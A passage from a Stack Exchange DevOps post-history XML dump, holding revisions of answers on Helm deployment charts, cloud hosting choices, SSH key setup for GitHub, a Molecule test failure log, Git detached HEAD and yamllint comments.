deployer-1.3.tar.gz`&#xD;&#xA;&#xD;&#xA;This means that `NAME=my-microservice` and `NAME=my-admin-webapp` or anything else can be deployed using one generic `deployer` chart. The path and tag of the application container image to deploy is in the yaml file. The container path is different for different apps and the container tag can be different between environments. &#xD;&#xA;&#xD;&#xA;That might sound strange as normally Helm packages a particular app so you would expect a one-to-one relationship between charts and apps. Yet if all your microservices are containers following 12factor.net best practices shouldn't they all &quot;look the same&quot; from the perspective of deploying them; it is just the container and the environment variables you deploy into the one generic chart. I see it that the app is the pure container with none of the configurations to run it and the Kubernetes configuration to run it is &quot;application infrastructure&quot;. So I have a Helm chart for each type of application infrastructure. I don't want each bit of application infrastructure to be hand-rolled I want to cookie cutter create it using Helm. &#xD;&#xA;&#xD;&#xA;Now we have covered all the Helm mechanics we are left with the question &quot;how do we manage all our configuration within git?&quot;. We use different repo for different purposes: &#xD;&#xA;&#xD;&#xA; 1. Each microservice has its own repo. We use CircleCI to build the code into an image that is configured via environment variables. We don't store any Helm or Kubernetes config in this repo. We do have a properties file that names the latest version of the `deployer` chart this code is compatible with. &#xD;&#xA; 1. We have a GitHub repo that holds the source of the generic Helm charts that are used to deploy all our apps and secrets. These don't actually change very often now they are fairly stable. CircleCI builds and releases the charts as tar.gz onto the GitHub releases page for this repo.  &#xD;&#xA; 1. We have a git repo per environment. This has a folder per deployed microservice within that environment. Each contains the `yaml` file to pass to the helm deploy encrypted with `git secret`. It has a folder per deployed `secret` within that environment. Each contains a `yaml` file that is `git secret` encrypted. Ditto for `configmaps`.  &#xD;&#xA;&#xD;&#xA;Why a repo per environment? A branch per environment sounds more normal. Only a database credential for the live environment never moves between environments. As we use a separate repo for live we can give it separate permissions. We might let all developers go wild in the `dev-environment` repo we have a bit more discipline with the `live-environment` repo. &#xD;&#xA;&#xD;&#xA;We then have CircleCI do automated deployments of configuration. This works as Helm data detects changes and doesn't deploy a change to any Kubrernetes object if the latest yaml it generates is already deployed. To change a password in live you change it in the `git secret` encrypted yaml in the live repo and apply a release tag. CircleCI pattern matches on the tag name to see that its a release tag and it runs the deploy step. That uses a container with the helm client to run a bash script that loops over all app folders, secret folders and configmap folders running Helm for the right chart and correct yaml. Helm will only apply updates where there are changes within git. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.12factor.net/config&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/configuration/secret/#using-secrets-as-environment-variables&#xD;&#xA;  [3]: https://akomljen.com/kubernetes-environment-variables/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17188" PostHistoryTypeId="5" PostId="5405" RevisionGUID="2458fc2d-3921-44ed-b854-b63c1280a72c" CreationDate="2018-11-10T18:14:34.120" UserId="10599" Comment="added 16 characters in body" Text="We faced exactly the same choices for our live service that deploys a laravel API and multiple react apps. &#xD;&#xA;&#xD;&#xA;There is no generic correct answer to a question &quot;what tool/provider is better?&quot; as it depends on your circumstances. Cost is a particularly tricky question. Are we just talking about the cost of getting something live, or the cost of running an elastically scalable service, or the cost of running a highly available elastic service that spans data centre availability zones such that it isn't taken down by an outage in a single data centre?  &#xD;&#xA;&#xD;&#xA;Digital Ocean (&quot;DO&quot;) is very highly promoted in the Laravel community so it was &quot;the default&quot; for the development team when I joined a startup about two months from go-live. When I asked &quot;what about the across data centre availability zones&quot; the answer at the time for Digital Ocean was that they didn't support it and we would have to set-up in two different DO data centres and work on our own mechanism (e.g. DNS) to switch between them if DO had a major outage in one geographic location. Yet on AWS they have resilience zones and also Elastic Load Balancer so its far easier to get a setup going that is &quot;future ready&quot; if you intend to be running a very successful large scale service a year after launch. &#xD;&#xA;&#xD;&#xA;In the end we went live on openshift.com which is a shared kubernetes service running on AWS. So our live DNS points at the Elastic Load Balancer of a shared Kubernetes cluster were we rent space for our containers. The cluster we are on has containers by other companies and runs across many AWS EC2 virtual machines. Yet they are not dedicated to us so we only pay a small fraction of the costs. Yet if any virtual machines crashes were our containers are running openshift kubernetes automatically starts a replacement container on another virtual machine. So we have automated high availability and crash recovery but only pay-as-we-go for the memory and CPU we currently use. We can scale up more containers anytime we want by using changing the replica count. Openshift has internal load balancing so that a single internal service IP with an internal DNS name automatically points at however many containers we want to run. That solves discovery between our microservices. That sort of thing is really important when you are running microservices at scale. &#xD;&#xA;&#xD;&#xA;With our setup, we get a great low-cost price for a very professional, elastic, highly scalable, fully automated infrastructure-as-code setup, that has all the advantages of AWS ELB, and all the advanced features of kubernetes for microservices. &#xD;&#xA;&#xD;&#xA;**Edit:** I wrote a tutorial for my experiences running laravel on openshif.com that is over at https://gist.github.com/simbo1905/d27ba7218a2fd71fcb4f0fcede82fd6d " ContentLicense="CC BY-SA 4.0" />
  <row Id="17189" PostHistoryTypeId="5" PostId="5405" RevisionGUID="bf7c4331-12a1-4349-a910-2a439b0865bf" CreationDate="2018-11-10T18:27:06.137" UserId="10599" Comment="added 180 characters in body" Text="We faced exactly the same choices for our live service that deploys a laravel API and multiple react apps. &#xD;&#xA;&#xD;&#xA;There is no generic correct answer to a question &quot;what tool/provider is better?&quot; as it depends on your circumstances. Cost is a particularly tricky question. Are we just talking about the cost of getting something live, or the cost of running an elastically scalable service, or the cost of running a highly available elastic service that spans data centre availability zones such that it isn't taken down by an outage in a single data centre?  &#xD;&#xA;&#xD;&#xA;Digital Ocean (&quot;DO&quot;) is very highly promoted in the Laravel community so it was &quot;the default&quot; for the development team when I joined a startup about two months from go-live. When I asked &quot;what about the across data centre availability zones&quot; the answer at the time for Digital Ocean was that they didn't support it and we would have to set-up in two different DO data centres and work on our own mechanism (e.g. DNS) to switch between them if DO had a major outage in one geographic location. Yet on AWS they have resilience zones and also Elastic Load Balancer so its far easier to get a setup going that is &quot;future ready&quot; if you intend to be running a very successful large scale service a year after launch. &#xD;&#xA;&#xD;&#xA;In the end we went live on openshift.com which is a shared kubernetes service running on AWS. So our live DNS points at the Elastic Load Balancer of a shared Kubernetes cluster were we rent space for our containers. The cluster we are on has containers by other companies and runs across many AWS EC2 virtual machines. Yet they are not dedicated to us so we only pay a small fraction of the costs. Yet if any one virtual machines crashes where our containers are running openshift kubernetes automatically starts a replacement container on another virtual machine. So we have automated high availability and crash recovery but only pay-as-we-go for the memory and CPU we currently use. We can scale up more containers anytime we want by using changing the replica count. Openshift has internal load balancing so that a single internal service IP with an internal DNS name automatically points at however many containers we want to run of a particular type. That solves discovery between our services. If you deploy a redis instance from the built-in catalog it is instantly available on a private IP with a DNS entry only viable in your project. That sort of ”discovery” feature is really important when you are running microservices at scale. &#xD;&#xA;&#xD;&#xA;With our setup, we get a great low-cost price for a very professional, elastic, highly scalable, fully automated infrastructure-as-code setup, that has all the advantages of AWS ELB, and all the advanced features of kubernetes for microservices. &#xD;&#xA;&#xD;&#xA;**Edit:** I wrote a tutorial for my experiences running laravel on openshif.com that is over at https://gist.github.com/simbo1905/d27ba7218a2fd71fcb4f0fcede82fd6d " ContentLicense="CC BY-SA 4.0" />
  <row Id="17190" PostHistoryTypeId="5" PostId="5405" RevisionGUID="4ca8d258-fa37-4a81-b365-e40606be6a42" CreationDate="2018-11-10T18:34:21.530" UserId="10599" Comment="added 32 characters in body" Text="We faced exactly the same choices for our live service that deploys a laravel API and multiple react apps. &#xD;&#xA;&#xD;&#xA;There is no generic correct answer to a question &quot;what tool/provider is better?&quot; as it depends on your circumstances. Cost is a particularly tricky question. Are we just talking about the cost of getting something live, or the cost of running an elastically scalable service, or the cost of running a highly available elastic service that spans data centre availability zones such that it isn't taken down by an outage in a single data centre?  &#xD;&#xA;&#xD;&#xA;Digital Ocean (&quot;DO&quot;) is very highly promoted in the Laravel community so it was &quot;the default&quot; for the development team when I joined a startup about two months from go-live. When I asked &quot;what about the across data centre availability zones&quot; the answer at the time for Digital Ocean was that they didn't support it and we would have to set-up in two different DO data centres and work on our own mechanism (e.g. DNS) to switch between them if DO had a major outage in one geographic location. Yet on AWS they have resilience zones and also Elastic Load Balancer so its far easier to get a setup going that is &quot;future ready&quot; if you intend to be running a very successful large scale service a year after launch. &#xD;&#xA;&#xD;&#xA;In the end we went live on openshift.com which is a shared kubernetes service running on AWS. So our live DNS points at the Elastic Load Balancer of a shared Kubernetes cluster were we rent space for our containers. The cluster we are on has containers by other companies and runs across many AWS EC2 virtual machines. Yet they are not dedicated to us so we only pay a small fraction of the costs. Yet if any one virtual machines crashes where our containers are running openshift kubernetes automatically starts a replacement container on another virtual machine. So we have automated high availability and crash recovery but only pay-as-we-go for the memory and CPU we currently use. We can scale up more containers anytime we want by using changing the replica count. Openshift has internal load balancing so that a single internal service IP with an internal DNS name automatically points at however many containers we want to run of a particular type. That solves discovery between our services. If you deploy a redis instance from the built-in catalog it is instantly available on a private IP with a DNS entry only viable in your project. That sort of ”discovery” feature is really important when you are running microservices at scale. &#xD;&#xA;&#xD;&#xA;With our setup, we get a great low-cost price for a very professional, elastic, highly scalable, fully automated infrastructure-as-code setup, that has all the advantages of AWS ELB, and all the advanced features of kubernetes for microservices. &#xD;&#xA;&#xD;&#xA;**Edit:** I wrote a tutorial for my experiences running laravel backend with a reactjs frontend on openshif.com that is over at https://gist.github.com/simbo1905/d27ba7218a2fd71fcb4f0fcede82fd6d " ContentLicense="CC BY-SA 4.0" />
  <row Id="17191" PostHistoryTypeId="5" PostId="5405" RevisionGUID="b5b6b503-da54-4ce2-b92b-502bd0756b47" CreationDate="2018-11-10T18:53:14.357" UserId="10599" Comment="added 5 characters in body; deleted 23 characters in body" Text="We faced exactly the same choices for our live service that deploys a laravel API and multiple react apps. &#xD;&#xA;&#xD;&#xA;There is no generic correct answer to a question &quot;what tool/provider is better?&quot; as it depends on your circumstances. Cost is a particularly tricky question. Are we just talking about the cost of getting something live, or the cost of running an elastically scalable service, or the cost of running a highly available elastic service that spans data centre availability zones such that it isn't taken down by an outage in a single data centre zone?  &#xD;&#xA;&#xD;&#xA;Digital Ocean (&quot;DO&quot;) is very highly promoted in the Laravel community so it was &quot;the default&quot; for the development team when I joined a startup about two months from go-live. When I asked &quot;what about data centre availability zones&quot; the answer at the time for Digital Ocean was that they didn't support it and we would have to set-up in two different DO data centres and work on our own mechanism (e.g. DNS) to switch between them if DO had a major outage in one place. Yet on AWS they have availability zones and also Elastic Load Balancer so its far easier to get a setup going that is &quot;future ready&quot; if you intend to be running a very successful large scale service a year after launch. &#xD;&#xA;&#xD;&#xA;In the end we went live on openshift.com which is a shared kubernetes service running on AWS. So our live DNS points at the Elastic Load Balancer of a shared Kubernetes cluster were we rent space for our containers. The cluster we are on has containers by other companies and runs across many AWS EC2 virtual machines. Yet they are not dedicated to us so we only pay a small fraction of the costs. Yet if any one virtual machines crashes where our containers are running openshift kubernetes automatically starts a replacement container on another virtual machine. So we have automated high availability and crash recovery but only pay-as-we-go for the memory and CPU we currently use. We can scale up more containers anytime we want by using changing the replica count. Openshift has internal load balancing so that a single internal service IP with an internal DNS name automatically points at however many containers we want to run of a particular type. That solves discovery between our services. If you deploy a redis instance from the built-in catalog it is instantly available on a private IP with a DNS entry only viable in your project. That sort of ”discovery” feature is really important when you are running microservices at scale. &#xD;&#xA;&#xD;&#xA;With our setup, we get a great low-cost price for a very professional, elastic, highly scalable, fully automated infrastructure-as-code setup, that has all the advantages of AWS ELB, and all the advanced features of kubernetes for microservices. &#xD;&#xA;&#xD;&#xA;**Edit:** I wrote a tutorial for my experiences running laravel backend with a reactjs frontend on openshif.com that is over at https://gist.github.com/simbo1905/d27ba7218a2fd71fcb4f0fcede82fd6d " ContentLicense="CC BY-SA 4.0" />
  <row Id="17193" PostHistoryTypeId="50" PostId="1088" RevisionGUID="a214935e-9ae8-4243-b0d8-988828bd820e" CreationDate="2018-11-10T21:02:15.440" UserId="-1" />
  <row Id="17197" PostHistoryTypeId="5" PostId="5396" RevisionGUID="56d446f4-8dce-4c52-990e-8a5dc1c18809" CreationDate="2018-11-11T07:36:18.637" UserId="10766" Comment="deleted 1 character in body" Text="You have to execute `ssh-keyscan`. For example to ssh to a host (github.com here ) you have to run below script &#xD;&#xA;&#xD;&#xA;    # Add ssh key to help cloning private github repo&#xD;&#xA;&#xD;&#xA;    ssh-keygen -t rsa -N &quot;&quot; -f secrets/ssh/github_rsa&#xD;&#xA;    PUB_KEY=$(cat secrets/ssh/github_rsa.pub)&#xD;&#xA;    PRV_KEY=$(cat secrets/ssh/github_rsa)&#xD;&#xA;&#xD;&#xA;    echo &quot;${PRV_KEY}&quot; &gt;&gt; ~/.ssh/github_rsa&#xD;&#xA;    chmod 600 ~/.ssh/github_rsa&#xD;&#xA;    eval $(ssh-agent)&#xD;&#xA;    ssh-add ~/.ssh/github_rsa&#xD;&#xA;&#xD;&#xA;    ssh-keyscan github.com &gt;&gt; ~/.ssh/known_hosts&#xD;&#xA;    echo IdentityFile ~/.ssh/github_rsa &gt;&gt; ~/.ssh/config&#xD;&#xA;&#xD;&#xA;    echo &quot;Paste the following public key to your host machine &quot;.${PUB_KEY}" ContentLicense="CC BY-SA 4.0" />
  <row Id="17199" PostHistoryTypeId="5" PostId="5403" RevisionGUID="e0565d12-0870-4f46-9c97-fbff3594e073" CreationDate="2018-11-11T11:49:50.167" UserId="210" Comment="added 3060 characters in body" Text="When molecule is run on travis, the build is successful:&#xD;&#xA;&#xD;&#xA;    $ molecule test&#xD;&#xA;    --&gt; Validating schema /home/travis/build/030/ansible-firefox/molecule/default/molecule.yml.&#xD;&#xA;    Validation completed successfully.&#xD;&#xA;    --&gt; Test matrix&#xD;&#xA;        &#xD;&#xA;    └── default&#xD;&#xA;        ├── lint&#xD;&#xA;        ├── destroy&#xD;&#xA;        ├── dependency&#xD;&#xA;        ├── syntax&#xD;&#xA;        ├── create&#xD;&#xA;        ├── prepare&#xD;&#xA;        ├── converge&#xD;&#xA;        ├── idempotence&#xD;&#xA;        ├── side_effect&#xD;&#xA;        ├── verify&#xD;&#xA;        └── destroy&#xD;&#xA;        &#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'lint'&#xD;&#xA;    --&gt; Executing Yamllint on files found in /home/travis/build/030/ansible-firefox/...&#xD;&#xA;    Lint completed successfully.&#xD;&#xA;    --&gt; Executing Flake8 on files found in /home/travis/build/030/ansible-firefox/molecule/default/tests/...&#xD;&#xA;    Lint completed successfully.&#xD;&#xA;    --&gt; Executing Ansible Lint on /home/travis/build/030/ansible-firefox/molecule/default/playbook.yml...&#xD;&#xA;        &#xD;&#xA;    Lint completed successfully.&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'destroy'&#xD;&#xA;        &#xD;&#xA;        PLAY [Destroy] *****************************************************************&#xD;&#xA;        &#xD;&#xA;        TASK [Destroy molecule instance(s)] ********************************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Wait for instance(s) deletion to complete] *******************************&#xD;&#xA;        ok: [localhost] =&gt; (item=None)&#xD;&#xA;        ok: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Delete docker network(s)] ************************************************&#xD;&#xA;        &#xD;&#xA;        PLAY RECAP *********************************************************************&#xD;&#xA;        localhost                  : ok=2    changed=1    unreachable=0    failed=0&#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'dependency'&#xD;&#xA;    Skipping, missing the requirements file.&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'syntax'&#xD;&#xA;        &#xD;&#xA;        playbook: /home/travis/build/030/ansible-firefox/molecule/default/playbook.yml&#xD;&#xA;        &#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'create'&#xD;&#xA;        &#xD;&#xA;        PLAY [Create] ******************************************************************&#xD;&#xA;        &#xD;&#xA;        TASK [Log into a Docker registry] **********************************************&#xD;&#xA;        skipping: [localhost] =&gt; (item=None) &#xD;&#xA;        &#xD;&#xA;        TASK [Create Dockerfiles from image names] *************************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Discover local Docker images] ********************************************&#xD;&#xA;        ok: [localhost] =&gt; (item=None)&#xD;&#xA;        ok: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Build an Ansible compatible image] ***************************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Create docker network(s)] ************************************************&#xD;&#xA;        &#xD;&#xA;        TASK [Create molecule instance(s)] *********************************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Wait for instance(s) creation to complete] *******************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        PLAY RECAP *********************************************************************&#xD;&#xA;        localhost                  : ok=5    changed=4    unreachable=0    failed=0&#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'prepare'&#xD;&#xA;    Skipping, prepare playbook not configured.&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'converge'&#xD;&#xA;        &#xD;&#xA;        PLAY [Converge] ****************************************************************&#xD;&#xA;        &#xD;&#xA;        TASK [Gathering Facts] *********************************************************&#xD;&#xA;        ok: [instance]&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : Download.] *********************************************&#xD;&#xA;        changed: [instance]&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : remove the Firefox package] ****************************&#xD;&#xA;        ok: [instance]&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : Dependencies.] *****************************************&#xD;&#xA;        changed: [instance] =&gt; (item=bzip2)&#xD;&#xA;        changed: [instance] =&gt; (item=gtk3)&#xD;&#xA;        changed: [instance] =&gt; (item=libXt)&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : Create directory.] *************************************&#xD;&#xA;        changed: [instance]&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : Unarchive.] ********************************************&#xD;&#xA;        changed: [instance]&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : Symlink.] **********************************************&#xD;&#xA;        changed: [instance]&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : Create icons directory.] *******************************&#xD;&#xA;        skipping: [instance]&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : Copy firefox logo.] ************************************&#xD;&#xA;        skipping: [instance]&#xD;&#xA;        &#xD;&#xA;        TASK [ansible-firefox : Create desktop icon.] **********************************&#xD;&#xA;        skipping: [instance]&#xD;&#xA;        &#xD;&#xA;        RUNNING HANDLER [ansible-firefox : Check version.] *****************************&#xD;&#xA;        changed: [instance]&#xD;&#xA;        &#xD;&#xA;        PLAY RECAP *********************************************************************&#xD;&#xA;        instance                   : ok=8    changed=6    unreachable=0    failed=0&#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'idempotence'&#xD;&#xA;    Idempotence completed successfully.&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'side_effect'&#xD;&#xA;    Skipping, side effect playbook not configured.&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'verify'&#xD;&#xA;    --&gt; Executing Testinfra tests found in /home/travis/build/030/ansible-firefox/molecule/default/tests/...&#xD;&#xA;        ============================= test session starts ==============================&#xD;&#xA;        platform linux2 -- Python 2.7.14, pytest-3.3.0, py-1.5.2, pluggy-0.6.0&#xD;&#xA;        rootdir: /home/travis/build/030/ansible-firefox/molecule/default, inifile:&#xD;&#xA;        plugins: testinfra-1.16.0&#xD;&#xA;    collected 1 item                                                               &#xD;&#xA;        &#xD;&#xA;        tests/test_default.py .                                                  [100%]&#xD;&#xA;        &#xD;&#xA;        =========================== 1 passed in 4.16 seconds ===========================&#xD;&#xA;    Verifier completed successfully.&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'destroy'&#xD;&#xA;        &#xD;&#xA;        PLAY [Destroy] *****************************************************************&#xD;&#xA;        &#xD;&#xA;        TASK [Destroy molecule instance(s)] ********************************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Wait for instance(s) deletion to complete] *******************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Delete docker network(s)] ************************************************&#xD;&#xA;        &#xD;&#xA;        PLAY RECAP *********************************************************************&#xD;&#xA;        localhost                  : ok=2    changed=2    unreachable=0    failed=0&#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;    The command &quot;molecule test&quot; exited with 0.&#xD;&#xA;    Done. Your build exited with 0.&#xD;&#xA;&#xD;&#xA;When run locally, it is able to test, but it fails on the last step:&#xD;&#xA;&#xD;&#xA;    [username@localhost ansible-firefox]$ docker run --rm -it -v $(pwd):/tmp/$(basename &quot;${PWD}&quot;) -w /tmp/$(basename &quot;${PWD}&quot;) retr0h/molecule:latest molecule test&#xD;&#xA;    --&gt; Validating schema /tmp/ansible-firefox/molecule/default/molecule.yml.&#xD;&#xA;    Validation completed successfully.&#xD;&#xA;    --&gt; Test matrix&#xD;&#xA;        &#xD;&#xA;    └── default&#xD;&#xA;        ├── lint&#xD;&#xA;        ├── destroy&#xD;&#xA;        ├── dependency&#xD;&#xA;        ├── syntax&#xD;&#xA;        ├── create&#xD;&#xA;        ├── prepare&#xD;&#xA;        ├── converge&#xD;&#xA;        ├── idempotence&#xD;&#xA;        ├── side_effect&#xD;&#xA;        ├── verify&#xD;&#xA;        └── destroy&#xD;&#xA;        &#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'lint'&#xD;&#xA;    --&gt; Executing Yamllint on files found in /tmp/ansible-firefox/...&#xD;&#xA;    Lint completed successfully.&#xD;&#xA;    --&gt; Executing Flake8 on files found in /tmp/ansible-firefox/molecule/default/tests/...&#xD;&#xA;    Lint completed successfully.&#xD;&#xA;    --&gt; Executing Ansible Lint on /tmp/ansible-firefox/molecule/default/playbook.yml...&#xD;&#xA;        &#xD;&#xA;    Lint completed successfully.&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'destroy'&#xD;&#xA;        &#xD;&#xA;        PLAY [Destroy] *****************************************************************&#xD;&#xA;        &#xD;&#xA;        TASK [Destroy molecule instance(s)] ********************************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Wait for instance(s) deletion to complete] *******************************&#xD;&#xA;        failed: [localhost] (item=None) =&gt; {&quot;attempts&quot;: 1, &quot;censored&quot;: &quot;the output has been hidden due to the fact that 'no_log: true' was specified for this result&quot;, &quot;changed&quot;: false}&#xD;&#xA;        fatal: [localhost]: FAILED! =&gt; {&quot;censored&quot;: &quot;the output has been hidden due to the fact that 'no_log: true' was specified for this result&quot;, &quot;changed&quot;: false}&#xD;&#xA;        &#xD;&#xA;        PLAY RECAP *********************************************************************&#xD;&#xA;        localhost                  : ok=1    changed=1    unreachable=0    failed=1   &#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;    ERROR: &#xD;&#xA;    An error occurred during the test sequence action: 'destroy'. Cleaning up.&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'destroy'&#xD;&#xA;        &#xD;&#xA;        PLAY [Destroy] *****************************************************************&#xD;&#xA;        &#xD;&#xA;        TASK [Destroy molecule instance(s)] ********************************************&#xD;&#xA;        changed: [localhost] =&gt; (item=None)&#xD;&#xA;        changed: [localhost]&#xD;&#xA;        &#xD;&#xA;        TASK [Wait for instance(s) deletion to complete] *******************************&#xD;&#xA;        failed: [localhost] (item=None) =&gt; {&quot;attempts&quot;: 1, &quot;censored&quot;: &quot;the output has been hidden due to the fact that 'no_log: true' was specified for this result&quot;, &quot;changed&quot;: false}&#xD;&#xA;        fatal: [localhost]: FAILED! =&gt; {&quot;censored&quot;: &quot;the output has been hidden due to the fact that 'no_log: true' was specified for this result&quot;, &quot;changed&quot;: false}&#xD;&#xA;        &#xD;&#xA;        PLAY RECAP *********************************************************************&#xD;&#xA;        localhost                  : ok=1    changed=1    unreachable=0    failed=1   &#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;    ERROR:&#xD;&#xA;&#xD;&#xA;How do other people run molecule inside docker on their local machines?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17200" PostHistoryTypeId="2" PostId="5408" RevisionGUID="22031f52-fe95-4abd-b5c6-b95f5e8d1da1" CreationDate="2018-11-11T11:53:09.510" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="17201" PostHistoryTypeId="1" PostId="5408" RevisionGUID="22031f52-fe95-4abd-b5c6-b95f5e8d1da1" CreationDate="2018-11-11T11:53:09.510" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="17202" PostHistoryTypeId="2" PostId="5409" RevisionGUID="2d79a270-537b-40f2-a28b-ddb372c479de" CreationDate="2018-11-11T11:53:09.510" UserId="210" Text="Use this tag if a question is about Molecule, i.e. a test framework for Ansible." ContentLicense="CC BY-SA 4.0" />
  <row Id="17203" PostHistoryTypeId="1" PostId="5409" RevisionGUID="2d79a270-537b-40f2-a28b-ddb372c479de" CreationDate="2018-11-11T11:53:09.510" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="17204" PostHistoryTypeId="2" PostId="5410" RevisionGUID="86d6e080-004d-48f6-8775-a1ecfb24b8f2" CreationDate="2018-11-11T14:05:30.857" UserId="2855" Text="`HEAD` is a special reference in Git that always points to &quot;the thing&quot; you have currently checked out. This &quot;thing&quot; can either be a local branch (`HEAD` is in attached mode) or a specific commit (`HEAD` is in detached mode).&#xD;&#xA;&#xD;&#xA;In attached mode `HEAD` is tied to the branch it references. The current commit is determined by the position of this branch. If you move your `HEAD` around (e.g. by [committing](https://git-scm.com/docs/git-commit) or [resetting](https://git-scm.com/docs/git-reset)), in reality `HEAD` is unmodified and still just pointing to the branch and the branch is moved instead.&#xD;&#xA;&#xD;&#xA;If you switch to detached mode (e.g. by `git checkout --detach` or checking out a specific commit, tag or remote branch), `HEAD` is pointing directly to the commit hash. You can continue to use Git as you did before but no branch is modified when you move your `HEAD` around. This time `HEAD` is modified directly on each such operation.&#xD;&#xA;&#xD;&#xA;So to answer your specific question &quot;_what are the things we can do_&quot;: In detached mode we can do anything we could do in attached mode (commit, merge, reset, push…) but without the need to first create a branch. We need to be careful though: When checking out another commit, nothing references the original commit anymore and it is lost*.&#xD;&#xA;&#xD;&#xA;The more difficult question to answer is &quot;_what is the use of it_&quot;. As [rasebo already stated in his answer](https://devops.stackexchange.com/a/2284/2855), often to quickly check out an older commit to see how the project looked like at this time. But there are more use cases. Detached mode is used during an [interactive rebase](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History#_changing_multiple), for example. Also I use it often in my personal workflow to quickly create throwaway snapshots during prototyping or experiments. I could also use temporary branches for this, but I guess it comes down to personal taste and habits.&#xD;&#xA;&#xD;&#xA;To get a better feeling for this whole topic it can help to play around and observe how `.git/HEAD` and the branches in `.git/refs/heads/` are modified after executing different Git commands.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;\* Well, not really lost, just inaccessible. It could be restored e.g. by looking up the hash in the [reflog](https://git-scm.com/docs/git-reflog) and then checking it out. It is only irreversibly deleted after a (manual or automatic) [garbage collection](https://git-scm.com/docs/git-gc) 90 days (default) in the future." ContentLicense="CC BY-SA 4.0" />
  <row Id="17205" PostHistoryTypeId="2" PostId="5411" RevisionGUID="0b1057cf-be57-4b5e-b908-1e272fcf94df" CreationDate="2018-11-11T14:42:32.477" UserId="354" Text="According to [the yamllint documentation](https://yamllint.readthedocs.io/en/stable/disable_with_comments.html#disabling-checks-for-a-specific-line) you need to add a special comment to the line -- `#yamllint disable-line rule:line-length`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    #defaults/main&#xD;&#xA;    firefox_checksum: sha512:49d776cfb5f42c6e5ea1a55a80d9f6bad223080b16baa0d39de63534c25e68340091b4e16be5355d565f81291cb94fb996f03ae7e3e4c7a28021b0a0929daf58 #yamllint disable-line rule:line-length" ContentLicense="CC BY-SA 4.0" />
  <row Id="17206" PostHistoryTypeId="6" PostId="5397" RevisionGUID="19083ba4-d4ed-43d0-bd2c-efbebdda46da" CreationDate="2018-11-11T14:49:53.217" UserId="354" Comment="Added two tags" Text="&lt;ansible&gt;&lt;yaml&gt;&lt;molecule&gt;&lt;linting&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17207" PostHistoryTypeId="24" PostId="5397" RevisionGUID="19083ba4-d4ed-43d0-bd2c-efbebdda46da" CreationDate="2018-11-11T14:49:53.217" Comment="Proposed by 354 approved by -1 edit id of 849" ContentLicense="CC BY-SA 4.0" />
  <row Id="17208" PostHistoryTypeId="4" PostId="5397" RevisionGUID="40bec499-6a4e-4c88-a5ac-7104e9b2a434" CreationDate="2018-11-11T14:49:53.217" UserId="40" Comment="edited title" Text="How to exclude a certain linenumber of an Ansible playbook when testing it using Molecule?" ContentLicense="CC BY-SA 4.0" />
